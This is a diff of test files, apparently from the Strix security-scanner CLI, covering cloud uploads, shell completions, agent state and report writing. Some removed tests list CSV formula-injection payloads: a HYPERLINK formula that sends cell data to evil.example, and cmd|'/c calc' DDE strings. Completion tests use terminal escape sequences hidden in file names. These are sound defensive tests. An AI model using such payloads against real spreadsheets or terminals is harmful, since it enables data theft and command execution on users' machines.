+        if path == "/scans":
+            pytest.fail("a scan must not launch before upload completion is confirmed")
+        raise AssertionError(path)
+
+    monkeypatch.setattr(http, "request", fake_request)
+    monkeypatch.setattr(http, "upload_file", lambda *_args, **_kwargs: None)
+
+    assert cloud.run_cloud(["scans", "start", "--source", str(tmp_path), "--yes"]) == 1
+    assert ("DELETE", "/uploads/upload-expected") in paths
+
+
+def test_interrupted_scan_launch_retains_completed_source_upload(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: Any
+) -> None:
+    (tmp_path / "app.py").write_text("print('safe')\n", encoding="utf-8")
+    paths: list[tuple[str, str]] = []
+
+    def fake_request(method: str, path: str, **_kwargs: Any) -> FakeResponse:
+        paths.append((method, path))
+        if path == "/uploads/request":
+            return FakeResponse(
+                {
+                    "upload_id": "upload-interrupted",
+                    "signed_url": "https://storage.test/object",
+                    "token": "signed",
+                }
+            )
+        if path == "/uploads/complete":
+            return FakeResponse({"id": "upload-interrupted"})
+        if path == "/scans":
+            raise KeyboardInterrupt
+        if path == "/uploads/upload-interrupted":
+            pytest.fail("an upload with an interrupted launch must not be deleted")
+        raise AssertionError(path)
+
+    monkeypatch.setattr(http, "request", fake_request)
+    monkeypatch.setattr(http, "upload_file", lambda *_args, **_kwargs: None)
+
+    assert cloud.run_cloud(["scans", "start", "--source", str(tmp_path), "--yes", "--json"]) == 130
+    payload = json.loads(capsys.readouterr().out)
+    assert payload["interrupted"] is True
+    assert payload["upload_id"] == "upload-interrupted"
+    assert payload["upload_retained"] is True
+    assert payload["launch_outcome_unknown"] is True
+    assert "scans list" in payload["error"]
+    assert ("DELETE", "/uploads/upload-interrupted") not in paths
+
+
+@pytest.mark.parametrize("cleanup_failure", ["timeout", "server"])
+def test_failed_automatic_upload_cleanup_reports_retained_id(
+    cleanup_failure: str,
+    tmp_path: Path,
+    monkeypatch: pytest.MonkeyPatch,
+    capsys: Any,
+) -> None:
+    (tmp_path / "app.py").write_text("print('safe')\n", encoding="utf-8")
+
+    def fake_request(method: str, path: str, **_kwargs: Any) -> FakeResponse:
+        if path == "/uploads/request":
+            return FakeResponse(
+                {
+                    "upload_id": "upload-orphaned",
+                    "signed_url": "https://storage.test/object",
+                    "token": "signed",
+                }
+            )
+        if path == "/uploads/upload-orphaned" and method == "DELETE":
+            if cleanup_failure == "timeout":
+                raise http.CloudError("cleanup timed out")
+            return FakeResponse({"detail": "cleanup unavailable"}, status_code=500)
+        raise AssertionError((method, path))
+
+    monkeypatch.setattr(http, "request", fake_request)
+    monkeypatch.setattr(
+        http,
+        "upload_file",
+        lambda *_args, **_kwargs: (_ for _ in ()).throw(http.CloudError("upload failed")),
+    )
+
+    assert (
+        cloud.run_cloud(["scans", "start", "--source", str(tmp_path), "--yes", "--json"])
+        == http.EXIT_ERROR
+    )
+    payload = json.loads(capsys.readouterr().out)
+    assert payload["upload_id"] == "upload-orphaned"
+    assert payload["upload_retained"] is True
+    assert payload["cleanup_unknown"] is True
+    assert "uploads delete upload-orphaned" in payload["error"]
+
+
+def test_incomplete_upload_credentials_delete_the_reserved_upload(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    (tmp_path / "app.py").write_text("print('safe')\n", encoding="utf-8")
+    paths: list[tuple[str, str]] = []
+
+    def fake_request(method: str, path: str, **_kwargs: Any) -> FakeResponse:
+        paths.append((method, path))
+        if path == "/uploads/request":
+            return FakeResponse({"upload_id": "upload-incomplete"})
+        if path == "/uploads/upload-incomplete":
+            return FakeResponse({"ok": True})
+        raise AssertionError(path)
+
+    monkeypatch.setattr(http, "request", fake_request)
+    assert cloud.run_cloud(["scans", "start", "--source", str(tmp_path), "--yes", "--json"]) == 1
+    assert ("DELETE", "/uploads/upload-incomplete") in paths

tests/test_completions.py

@@ -0,0 +1,164 @@
+from __future__ import annotations
+
+from typing import Any
+
+from strix.interface.completions import completion_candidates, run_completions
+
+
+def test_root_completion_candidates() -> None:
+    assert completion_candidates(["cl"]) == ["cloud"]
+    assert "completions" in completion_candidates([""])
+
+
+def test_cloud_group_and_alias_candidates() -> None:
+    candidates = completion_candidates(["cloud", "work"])
+    assert candidates == ["workspace", "workspaces"]
+
+
+def test_cloud_verb_candidates_include_multiword_prefixes() -> None:
+    assert "test-users" in completion_candidates(["cloud", "domains", ""])
+    assert completion_candidates(["cloud", "domains", "test-users", "in"]) == [
+        "inbox",
+        "inbox-message",
+    ]
+
+
+def test_cloud_leaf_flag_candidates_come_from_command_spec() -> None:
+    candidates = completion_candidates(["cloud", "scans", "start", "--"])
+    assert "--domain-ids" in candidates
+    assert "--json" in candidates
+    assert "--wait" in candidates
+    assert "--source" in candidates
+    assert "--approve-sha256" in candidates
+    assert "--dry-run" in candidates
+    assert "--include-hidden" in candidates
+
+
+def test_boolean_completion_includes_positive_and_negative_flags() -> None:
+    candidates = completion_candidates(["cloud", "billing", "auto-topup", "update", "--"])
+    assert "--enabled" in candidates
+    assert "--no-enabled" in candidates
+    assert "--no-monthly-cap" in candidates
+
+
+def test_session_and_workspace_use_completions_include_their_real_flags() -> None:
+    credit_flags = completion_candidates(["cloud", "credits", "--"])
+    assert {"--json", "--token", "--app-url", "--timeout", "--help"} <= set(credit_flags)
+    assert "--json" in completion_candidates(["cloud", "logout", "--"])
+
+    workspace_use = completion_candidates(["cloud", "workspace", "use", "--"])
+    assert {"--scopes", "--json", "--token", "--app-url", "--timeout"} <= set(workspace_use)
+
+
+def test_leaf_flags_remain_available_after_options_and_positionals() -> None:
+    after_option = completion_candidates(["cloud", "scans", "list", "--status", "running", "--"])
+    assert {"--page", "--limit", "--json"} <= set(after_option)
+
+    after_positional = completion_candidates(["cloud", "scans", "get", "scan-1", "--"])
+    assert {"--json", "--token", "--app-url", "--timeout"} <= set(after_positional)
+
+
+def test_default_verbs_complete_flags_without_an_explicit_verb() -> None:
+    audit = completion_candidates(["cloud", "audit", "--"])
+    assert {"--page", "--limit", "--json"} <= set(audit)
+
+    after_option = completion_candidates(["cloud", "audit", "--page", "2", "--"])
+    assert {"--limit", "--format", "--json"} <= set(after_option)
+
+    workspaces = completion_candidates(["cloud", "workspace", "--"])
+    assert {"--json", "--token", "--app-url", "--timeout"} <= set(workspaces)
+
+
+def test_completion_does_not_offer_flags_while_an_option_value_is_empty() -> None:
+    assert completion_candidates(["cloud", "scans", "list", "--page", ""]) == []
+    assert completion_candidates(["cloud", "scans", "start", "--approve-sha256", ""]) == []
+
+
+def test_exact_verbs_that_are_also_prefixes_keep_their_subverbs() -> None:
+    candidates = completion_candidates(["cloud", "billing", "auto-topup", ""])
+    assert "update" in candidates
+    assert "--json" in candidates
+
+
+def test_contract_fix_flags_are_completed() -> None:
+    integration_connect = completion_candidates(
+        ["cloud", "integrations", "connect", "gitlab", "--"]
+    )
+    assert {
+        "--provider-token",
+        "--instance-url",
+        "--account-email",
+        "--installation-id",
+    } <= set(integration_connect)
+
+    disconnect = completion_candidates(["cloud", "integrations", "disconnect", "--"])
+    assert "--installation-id" in disconnect
+
+    connector = completion_candidates(["cloud", "connectors", "get", "connector-1", "--"])
+    assert "--include-command" in connector
+    assert "--no-include-command" in connector
+
+    scan_wait = completion_candidates(["cloud", "scans", "start", "--"])
+    assert "--wait-timeout" in scan_wait
+
+    audit_export = completion_candidates(["cloud", "audit", "--"])
+    assert {"--output", "--force"} <= set(audit_export)
+
+    token_create = completion_candidates(["cloud", "tokens", "create", "--"])
+    assert {"--expires-at", "--rbac-scopes"} <= set(token_create)
+
+
+def test_filesystem_completion_for_source_output_and_data(tmp_path: Any, monkeypatch: Any) -> None:
+    monkeypatch.chdir(tmp_path)
+    (tmp_path / "source tree").mkdir()
+    (tmp_path / "source.txt").write_text("source", encoding="utf-8")
+    (tmp_path / "request.json").write_text("{}", encoding="utf-8")
+
+    source = completion_candidates(["cloud", "scans", "start", "--source", "sou"])
+    assert source == ["source tree/"]
+
+    output = completion_candidates(["cloud", "scans", "report", "scan-1", "--output", "req"])
+    assert output == ["request.json"]
+
+    audit_output = completion_candidates(["cloud", "audit", "--output", "req"])
+    assert audit_output == ["request.json"]
+
+    data = completion_candidates(["cloud", "scans", "start", "--data", "@req"])
+    assert data == ["@request.json"]
+
+
+def test_filesystem_completion_omits_terminal_control_names(
+    tmp_path: Any, monkeypatch: Any, capsys: Any
+) -> None:
+    monkeypatch.chdir(tmp_path)
+    (tmp_path / "safe.json").write_text("{}", encoding="utf-8")
+    (tmp_path / "unsafe\nname.json").write_text("{}", encoding="utf-8")
+    (tmp_path / "unsafe\x1b]52;c;payload\x07.json").write_text("{}", encoding="utf-8")
+
+    words = ["cloud", "scans", "start", "--data", "@"]
+    assert completion_candidates(words) == ["@safe.json"]
+    assert run_completions(["--candidates", *words]) == 0
+    assert capsys.readouterr().out == "@safe.json\n"
+
+
+def test_completion_scripts_cover_supported_shells(capsys: Any) -> None:
+    for shell in ("zsh", "bash", "fish"):
+        assert run_completions([shell]) == 0
+        output = capsys.readouterr().out
+        assert "completions --candidates" in output
+
+
+def test_bash_completion_preserves_candidates_with_spaces(capsys: Any) -> None:
+    assert run_completions(["bash"]) == 0
+    output = capsys.readouterr().out
+    assert 'COMPREPLY=("${candidates[@]}")' in output
+    assert "while IFS= read -r candidate" in output
+    assert "mapfile" not in output
+
+
+def test_completion_rejects_unknown_shell(capsys: Any) -> None:
+    assert run_completions(["powershell\x1b]52;c;payload\x07"]) == 2
+    error = capsys.readouterr().err
+    assert "Choose zsh, bash, or fish" in error
+    assert "\x1b" not in error
+    assert "\\x1b" in error

tests/test_execution.py

@@ -458,49 +458,6 @@ async def test_non_user_send_does_not_resume_budget_pause(tmp_path: Any) -> None
     session.close()
 
 
-@pytest.mark.asyncio
-async def test_user_send_starts_fresh_resume_attempt_after_failure() -> None:
-    coordinator = AgentCoordinator()
-    await coordinator.register("root", "strix", parent_id=None)
-    await coordinator.register("child", "recon", parent_id="root")
-    await coordinator.park_waiting("child", wait_kind="stalled")
-    await coordinator.record_recovery("child")
-    await coordinator.record_idle_resume("child")
-    await coordinator.set_status("child", "failed", error="provider rejected request")
-    assert await coordinator.claim_parent_notice("child") is True
-
-    delivered = await coordinator.send("child", {"from": "user", "content": "try again"})
-
-    assert delivered is True
-    assert coordinator.statuses["child"] == "waiting"
-    assert coordinator.pending_counts["child"] == 1
-    assert "child" not in coordinator.errors
-    assert "child" not in coordinator.wait_kinds
-    assert "child" not in coordinator.recovery_counts
-    assert "child" not in coordinator.idle_resume_counts
-    assert await coordinator.claim_parent_notice("child") is True
-
-
-@pytest.mark.asyncio
-async def test_non_user_send_preserves_failed_resume_state() -> None:
-    coordinator = AgentCoordinator()
-    await coordinator.register("root", "strix", parent_id=None)
-    await coordinator.register("child", "recon", parent_id="root")
-    await coordinator.park_waiting("child", wait_kind="stalled")
-    await coordinator.record_recovery("child")
-    await coordinator.record_idle_resume("child")
-    await coordinator.set_status("child", "failed", error="provider rejected request")
-
-    delivered = await coordinator.send("child", {"from": "root", "content": "status"})
-
-    assert delivered is True
-    assert coordinator.statuses["child"] == "failed"
-    assert coordinator.errors["child"] == "provider rejected request"
-    assert coordinator.wait_kinds["child"] == "stalled"
-    assert coordinator.recovery_counts["child"] == 1
-    assert coordinator.idle_resume_counts["child"] == 1
-
-
 @pytest.mark.asyncio
 async def test_reset_budget_stops_clears_pause_and_normalizes_statuses() -> None:
     coordinator = AgentCoordinator()

tests/test_go_tui_runtime.py

@@ -857,37 +857,6 @@ async def test_agent_state_sync_does_not_mask_root_failure_with_completed_report
     assert runtime.controller.error == "finalization failed"
 
 
-@pytest.mark.asyncio
-async def test_agent_state_sync_clears_root_failure_after_user_resume() -> None:
-    runtime = GoTuiRuntime(args())
-    await runtime.coordinator.register("root", "Strix", parent_id=None)
-    await runtime.coordinator.set_status("root", "failed", error="provider rejected request")
-
-    await runtime._sync_agent_state()
-    assert runtime.controller.scan_state == "failed"
-    assert runtime.live_view.agents["root"]["error_message"] == "provider rejected request"
-
-    await runtime.coordinator.send("root", {"from": "user", "content": "try again"})
-    await runtime._sync_agent_state()
-
-    assert runtime.controller.scan_state == "running"
-    assert runtime.controller.error is None
-    root = runtime.live_view.agents["root"]
-    assert root["status"] == "waiting"
-    assert "error_message" not in root
-
-
-@pytest.mark.asyncio
-async def test_agent_state_sync_does_not_reopen_stopped_scan_with_active_root() -> None:
-    runtime = GoTuiRuntime(args())
-    runtime.controller.scan_state = "stopped"
-    await runtime.coordinator.register("root", "Strix", parent_id=None)
-
-    await runtime._sync_agent_state()
-
-    assert runtime.controller.scan_state == "stopped"
-
-
 def _direct_launch_args() -> argparse.Namespace:
     launch_args = args()
     launch_args.needs_setup = False

tests/test_inputs.py

@@ -122,23 +122,6 @@ def test_make_model_settings_no_prompt_cache_for_non_claude(model_name: str) ->
     assert make_model_settings(None, model_name=model_name).extra_args is None
 
 
-@pytest.mark.parametrize("model_name", ["opencode/claude-sonnet-5", "opencode-go/claude-sonnet-5"])
-def test_prompt_cache_for_opencode_claude(model_name: str) -> None:
-    # Claude on OpenCode runs through LiteLLM's Anthropic route, which consumes
-    # cache_control_injection_points. The gateway's other two routes use the raw
-    # OpenAI SDK, whose create() rejects this LiteLLM-only argument.
-    assert _cache_points(model_name) == [
-        {"location": "message", "role": "system"},
-        {"location": "message", "index": -1},
-    ]
-
-
-def test_no_prompt_cache_for_opencode_openai_routes() -> None:
-    # A "claude" substring cannot smuggle the LiteLLM-only argument onto a route
-    # that is served by the raw OpenAI SDK.
-    assert _cache_points("opencode/gpt-5.4-claude-tuned") is None
-
-
 def test_no_prompt_cache_for_unmapped_bedrock_claude_model(monkeypatch: Any) -> None:
     # A Bedrock Claude model LiteLLM hasn't mapped must run uncached, not crash.
     unmapped = "bedrock/global.anthropic.claude-brand-new-9"

tests/test_list_reports.py

@@ -2,7 +2,6 @@
 
 from __future__ import annotations
 
-import json
 from typing import TYPE_CHECKING
 
 import pytest
@@ -28,51 +27,6 @@ def report_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> ReportState
     return state
 
 
-def test_add_vulnerability_report_strips_control_chars_from_title(
-    report_state: ReportState,
-) -> None:
-    # A title quotes text from the scanned target, so it can carry newlines or
-    # tabs that break the markdown heading, the CSV cell and the TUI list.
-    report_id = report_state.add_vulnerability_report(
-        title="\tXSS in\r\n search\x00 form ",
-        severity="medium",
-        target="https://app.example.com",
-    )
-    report = next(r for r in report_state.vulnerability_reports if r["id"] == report_id)
-    assert report["title"] == "XSS in search form"
-
-
-def test_hydrate_from_run_dir_strips_control_chars_from_title(
-    report_state: ReportState,
-) -> None:
-    # A run started before titles were normalized can hold control characters on
-    # disk, and resume re-exports those titles to the CSV, the SARIF and the TUI.
-    (report_state.get_run_dir() / "vulnerabilities.json").write_text(
-        json.dumps(
-            [
-                {
-                    "id": "vuln-0001",
-                    "title": "XSS in\r\n search\tform",
-                    "severity": "medium",
-                    "timestamp": "2026-01-01 00:00:00 UTC",
-                }
-            ]
-        ),
-        encoding="utf-8",
-    )
-
-    md_path = report_state.get_run_dir() / "vulnerabilities" / "vuln-0001.md"
-    md_path.parent.mkdir(exist_ok=True)
-    md_path.write_text("# XSS in\r\n search\tform\n", encoding="utf-8")
-
-    report_state.hydrate_from_run_dir()
-    report_state.save_run_data()
-
-    assert report_state.vulnerability_reports[0]["title"] == "XSS in search form"
-    # The markdown on disk holds the raw heading, so resume must rewrite it.
-    assert md_path.read_text(encoding="utf-8").startswith("# XSS in search form\n")
-
-
 def _seed(state: ReportState) -> None:
     state.add_vulnerability_report(
         title="Reflected XSS in search",

tests/test_models.py

@@ -72,11 +72,6 @@ def test_recommended_models_are_matched_case_insensitively() -> None:
         "moonshot/kimi-k2.6",
         "kimi-k2.7-code",
         "moonshot/kimi-k3",
-        "opencode/gpt-5.4",
-        "opencode/claude-sonnet-5",
-        "opencode-go/kimi-k3",
-        "opencode-go/deepseek-v4-flash",
-        "opencode-go/qwen3.8-max",
     ],
 )
 def test_frontier_model_families_are_accepted(model_name: str) -> None:

tests/test_opencode_auth.py

@@ -1,212 +0,0 @@
-"""Tests for OpenCode (Zen/Go) subscription auth: prefix parsing and key store."""
-
-from __future__ import annotations
-
-from typing import TYPE_CHECKING
-from unittest import mock
-
-import pytest
-import requests
-
-from strix.config import codex, opencode
-
-
-if TYPE_CHECKING:
-    from pathlib import Path
-
-
-@pytest.fixture(autouse=True)
-def _tmp_store(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
-    path = tmp_path / "home" / ".strix" / "subscription-auth.json"
-    monkeypatch.setattr(codex, "AUTH_PATH", path)
-    return path
-
-
-@pytest.mark.parametrize(
-    ("model", "slug", "base_url", "protocol"),
-    [
-        (
-            "opencode/claude-sonnet-5",
-            "claude-sonnet-5",
-            opencode.ZEN_BASE_URL,
-            opencode.PROTOCOL_MESSAGES,
-        ),
-        ("opencode/gpt-5.4", "gpt-5.4", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
-        ("opencode/grok-4.5", "grok-4.5", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
-        ("OpenCode/Kimi-K3", "Kimi-K3", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
-        (
-            "OpenCode/Claude-Opus-5",
-            "Claude-Opus-5",
-            opencode.ZEN_BASE_URL,
-            opencode.PROTOCOL_MESSAGES,
-        ),
-        ("opencode-go/kimi-k3", "kimi-k3", opencode.GO_BASE_URL, opencode.PROTOCOL_CHAT),
-        (
-            "opencode-go/gpt-5.6-luna",
-            "gpt-5.6-luna",
-            opencode.GO_BASE_URL,
-            opencode.PROTOCOL_RESPONSES,
-        ),
-        ("opencode-go/grok-4.5", "grok-4.5", opencode.GO_BASE_URL, opencode.PROTOCOL_CHAT),
-        # Probed per family against both gateways; a wrong protocol 500s.
-        (
-            "opencode/muse-spark-1.2",
-            "muse-spark-1.2",
-            opencode.ZEN_BASE_URL,
-            opencode.PROTOCOL_RESPONSES,
-        ),
-        (
-            "opencode/deepseek-v4-pro",
-            "deepseek-v4-pro",
-            opencode.ZEN_BASE_URL,
-            opencode.PROTOCOL_CHAT,
-        ),
-        ("opencode/minimax-m3", "minimax-m3", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
-        ("opencode/qwen3.6-plus", "qwen3.6-plus", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
-        ("opencode/glm-5.2", "glm-5.2", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
-        ("opencode/grok-4.6", "grok-4.6", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
-        (
-            "opencode/gpt-5.6-luna",
-            "gpt-5.6-luna",
-            opencode.ZEN_BASE_URL,
-            opencode.PROTOCOL_RESPONSES,
-        ),
-        (
-            "opencode/claude-opus-5",
-            "claude-opus-5",
-            opencode.ZEN_BASE_URL,
-            opencode.PROTOCOL_MESSAGES,
-        ),
-    ],
-)
-def test_subscription_model_parses_prefixes(
-    model: str, slug: str, base_url: str, protocol: str
-) -> None:
-    parsed = opencode.subscription_model(model)
-    assert parsed is not None
-    assert parsed.slug == slug
-    assert parsed.base_url == base_url
-    assert parsed.protocol == protocol
-    assert parsed.uses_responses is (protocol == opencode.PROTOCOL_RESPONSES)
-
-
-def test_claude_route_targets_the_anthropic_endpoint() -> None:
-    parsed = opencode.subscription_model("opencode/claude-sonnet-5")
-    assert parsed is not None
-    assert parsed.messages_url == "https://opencode.ai/zen/v1/messages"
-
-
-@pytest.mark.parametrize(
-    ("model", "plan", "label", "metered"),
-    [
-        ("opencode/claude-sonnet-5", opencode.PLAN_ZEN, "OpenCode Zen", True),
-        ("opencode/kimi-k3", opencode.PLAN_ZEN, "OpenCode Zen", True),
-        ("opencode-go/kimi-k3", opencode.PLAN_GO, "OpenCode Go", False),
-        ("OpenCode-Go/GPT-5.6-Luna", opencode.PLAN_GO, "OpenCode Go", False),
-    ],
-)
-def test_plan_is_labelled_and_metered_per_prefix(
-    model: str, plan: str, label: str, metered: bool
-) -> None:
-    parsed = opencode.subscription_model(model)
-    assert parsed is not None
-    assert parsed.plan == plan
-    assert parsed.label == label
-    # Zen bills prepaid credits per request; Go is a flat monthly plan.
-    assert parsed.metered is metered
-    assert opencode.subscription_plan(model) == plan
-
-
-def test_subscription_plan_is_none_off_opencode() -> None:
-    assert opencode.subscription_plan("chatgpt/gpt-5.4") is None
-    assert opencode.subscription_plan("anthropic/claude-sonnet-5") is None
-    assert opencode.subscription_plan(None) is None
-
-
-@pytest.mark.parametrize(
-    "model",
-    ["openai/gpt-5.4", "chatgpt/gpt-5.4", "opencode/", "opencode-go/", "opencode", "", None],
-)
-def test_subscription_model_rejects_non_opencode(model: str | None) -> None:
-    assert opencode.subscription_model(model) is None
-
-
-def test_store_roundtrip_and_logout() -> None:
-    assert opencode.read_record() is None
-    assert opencode.is_authenticated() is False
-
-    opencode.save_api_key("sk-oc-test")
-    record = opencode.read_record()
-    assert record is not None
-    assert record["key"] == "sk-oc-test"
-    assert opencode.is_authenticated() is True
-    assert opencode.get_api_key() == "sk-oc-test"
-
-    opencode.logout()
-    assert opencode.read_record() is None
-    opencode.logout()  # no-op when already gone
-
-
-def test_store_coexists_with_chatgpt_record() -> None:
-    codex.save_record({"type": "oauth", "access": "a", "refresh": "r", "account_id": "acct"})
-    opencode.save_api_key("sk-oc-test")
-
-    assert codex.read_record() is not None
-    assert opencode.get_api_key() == "sk-oc-test"
-
-    opencode.logout()
-    assert codex.read_record() is not None
-    assert opencode.read_record() is None
-
-
-def test_get_api_key_raises_when_not_signed_in() -> None:
-    with pytest.raises(opencode.OpencodeAuthError) as exc:
-        opencode.get_api_key()
-    assert exc.value.code == "not_authenticated"
-
-
-def test_auth_mode_covers_both_subscriptions() -> None:
-    assert opencode.auth_mode("opencode/claude-sonnet-5") == "subscription"
-    assert opencode.auth_mode("opencode-go/kimi-k3") == "subscription"
-    assert opencode.auth_mode("chatgpt/gpt-5.4") == "subscription"
-    assert opencode.auth_mode("openai/gpt-5.4") == "api_key"
-    assert opencode.auth_mode(None) == "api_key"
-
-
-def test_subscription_provider() -> None:
-    assert opencode.subscription_provider("opencode/claude-sonnet-5") == "opencode"
-    assert opencode.subscription_provider("opencode-go/kimi-k3") == "opencode"
-    assert opencode.subscription_provider("chatgpt/gpt-5.4") == "chatgpt"
-    assert opencode.subscription_provider("openai/gpt-5.4") is None
-    assert opencode.subscription_provider(None) is None
-
-
-def _response(status_code: int, text: str = "") -> mock.MagicMock:
-    response = mock.MagicMock()
-    response.status_code = status_code
-    response.text = text
-    return response
-
-
-def test_validate_api_key_accepts_ok() -> None:
-    with mock.patch.object(requests, "get", return_value=_response(200)) as get:
-        opencode.validate_api_key("sk-oc-test")
-    assert get.call_args.kwargs["headers"]["Authorization"] == "Bearer sk-oc-test"
-
-
-def test_validate_api_key_rejects_unauthorized() -> None:
-    with (
-        mock.patch.object(requests, "get", return_value=_response(401)),
-        pytest.raises(opencode.OpencodeAuthError) as exc,
-    ):
-        opencode.validate_api_key("bad-key")
-    assert exc.value.code == "invalid_key"
-
-
-def test_validate_api_key_maps_network_errors() -> None:
-    with (
-        mock.patch.object(requests, "get", side_effect=requests.ConnectionError("boom")),
-        pytest.raises(opencode.OpencodeAuthError) as exc,
-    ):
-        opencode.validate_api_key("sk-oc-test")
-    assert exc.value.code == "unavailable"

tests/test_pricing.py

@@ -14,7 +14,10 @@ def test_resolves_common_bare_model_names() -> None:
     assert resolve_litellm_model("deepseek-v4-flash") == "deepseek/deepseek-v4-flash"
     assert resolve_litellm_model("openai/deepseek-v4-flash") == "deepseek/deepseek-v4-flash"
     assert resolve_litellm_model("grok-4.5") == "xai/grok-4.5"
-    assert resolve_litellm_model("MiniMax-M3") == "minimax/MiniMax-M3"
+    # MiniMax-M3 is sold by several LiteLLM providers at different prices, so
+    # the resolver must not guess from its bare name. A provider-qualified
+    # model remains deterministic.
+    assert resolve_litellm_model("minimax/MiniMax-M3") == "minimax/MiniMax-M3"
 
 
 def test_resolver_returns_none_for_unresolvable_model() -> None:

tests/test_report_writer.py

@@ -9,7 +9,6 @@ from typing import TYPE_CHECKING, Any
 import pytest
 
 from strix.report.writer import (
-    atomic_write_text,
     read_run_record,
     render_vulnerability_md,
     write_executive_report,
@@ -164,64 +163,6 @@ def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) ->
     assert csv_rows[0]["severity"] == "CRITICAL"
 
 
-@pytest.mark.parametrize(
-    "payload",
-    [
-        '=HYPERLINK("http://evil.example/leak?d="&A1,"View")',
-        "+cmd|'/c calc'!A1",
-        "@SUM(1+1)*cmd|'/c calc'!A1",
-        "-2+3+cmd|'/c calc'!A1",
-        "\t leading tab",
-        "\r leading carriage return",
-    ],
-)
-def test_write_vulnerabilities_csv_neutralizes_formula_injection(
-    tmp_path: Path,
-    payload: str,
-) -> None:
-    # Titles quote text from the scanned target, so a finding title can begin with
-    # a spreadsheet formula trigger. csv escapes CSV syntax but not formula
-    # triggers, so the cell has to be neutralized before it is written.
-    write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
-
-    csv_rows = list(
-        csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
-    )
-    title = csv_rows[0]["title"]
-    assert title.startswith("'")
-    assert not title.startswith(("=", "+", "-", "@", "\t", "\r"))
-
-
-def test_write_vulnerabilities_csv_preserves_payload_after_guard(tmp_path: Path) -> None:
-    payload = "=1+1"
-    write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
-
-    csv_rows = list(
-        csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
-    )
-    assert csv_rows[0]["title"] == "'=1+1"  # guard prefix only, payload intact
-
-
-def test_write_vulnerabilities_csv_leaves_benign_titles_unchanged(tmp_path: Path) -> None:
-    write_vulnerabilities(tmp_path, [_sample_report(title="SQL Injection in /login")], set())
-
-    csv_rows = list(
-        csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
-    )
-    assert csv_rows[0]["title"] == "SQL Injection in /login"
-
-
-def test_atomic_write_text_keeps_payload_byte_for_byte(tmp_path: Path) -> None:
-    # The CSV index carries its own \r\n terminators, so newline translation would
-    # turn every row ending into \r\r\n on Windows.
-    payload = "a,b\r\nc,d\r\n"
-    path = tmp_path / "index.csv"
-
-    atomic_write_text(path, payload)
-
-    assert path.read_bytes() == payload.encode("utf-8")
-
-
 def test_write_vulnerabilities_skips_already_saved_ids(tmp_path: Path) -> None:
     reports = [_sample_report(id="vuln-0001")]
     saved: set[str] = {"vuln-0001"}

tests/test_tui_backend_controller.py

@@ -12,16 +12,6 @@ from strix.config.settings import DEFAULT_MAX_TURNS
 from strix.interface.tui.backend.controller import TuiController
 
 
-class _SendingCoordinator:
-    def __init__(self, delivered: bool = True) -> None:
-        self.delivered = delivered
-        self.messages: list[tuple[str, dict[str, object]]] = []
-
-    async def send(self, agent_id: str, message: dict[str, object]) -> bool:
-        self.messages.append((agent_id, message))
-        return self.delivered
-
-
 def args() -> argparse.Namespace:
     return argparse.Namespace(
         needs_setup=True,
@@ -323,34 +313,6 @@ def test_snapshot_exposes_working_directory() -> None:
     assert controller.snapshot()["pending_mount"] == ""
 
 
-@pytest.mark.asyncio
-async def test_user_message_updates_live_agent_projection_immediately() -> None:
-    coordinator = _SendingCoordinator()
-    controller = TuiController(args(), coordinator=coordinator)
-    controller.setup_mode = False
-    controller.scan_started = True
-    controller.scan_loop = asyncio.get_running_loop()
-    controller.live_view.upsert_agent(
-        "root",
-        name="Strix",
-        status="failed",
-        error_message="provider rejected request",
-    )
-
-    result = await controller.handle(
-        "agent.send_message",
-        {"agent_id": "root", "message": "try again"},
-    )
-
-    assert result == {"sent": True}
-    assert coordinator.messages == [
-        ("root", {"from": "user", "content": "try again", "type": "instruction"})
-    ]
-    agent = controller.live_view.agents["root"]
-    assert agent["status"] == "waiting"
-    assert "error_message" not in agent
-
-
 @pytest.mark.asyncio
 async def test_start_forwards_verify_flag_by_default() -> None:
     seen_verify: bool | None = None

tests/test_tui_backend_server.py

@@ -243,15 +243,13 @@ def test_defensive_state_projection_preserves_usage_summary() -> None:
         ),
     )
     state = controller.snapshot()
-    state["pending_mount"] = "current-project"
+    state["provider"] = None
     state["future_oversized_field"] = "x" * 100_000
 
     snapshot = bounded_state_projection(state)
 
     assert snapshot["projection_truncated"] is True
     assert snapshot["usage"] == {"total_tokens": 720_400, "cost": 20.0}
-    assert snapshot["working_dir"] == state["working_dir"]
-    assert snapshot["pending_mount"] == "current-project"
 
 
 @pytest.mark.asyncio

tests/test_tui_resume_history.py

@@ -104,29 +104,6 @@ def test_resume_hides_system_guidance_injected_as_user_turns(tmp_path: Path) ->
     ] == ["starting", "continuing"]
 
 
-def test_resume_hydrates_saved_agent_errors(tmp_path: Path) -> None:
-    run_dir = tmp_path / "run"
-    state_dir = runtime_state_dir(run_dir)
-    state_dir.mkdir(parents=True, exist_ok=True)
-    (state_dir / "agents.json").write_text(
-        json.dumps(
-            {
-                "statuses": {"root": "failed"},
-                "names": {"root": "Strix"},
-                "parent_of": {"root": None},
-                "errors": {"root": "provider rejected request"},
-            }
-        ),
-        encoding="utf-8",
-    )
-
-    view = GoTuiLiveView()
-    view.hydrate_from_run_dir(run_dir)
-
-    assert view.agents["root"]["status"] == "failed"
-    assert view.agents["root"]["error_message"] == "provider rejected request"
-
-
 def test_resume_keeps_messages_the_user_actually_typed(tmp_path: Path) -> None:
     run_dir = tmp_path / "run"
     _write_run(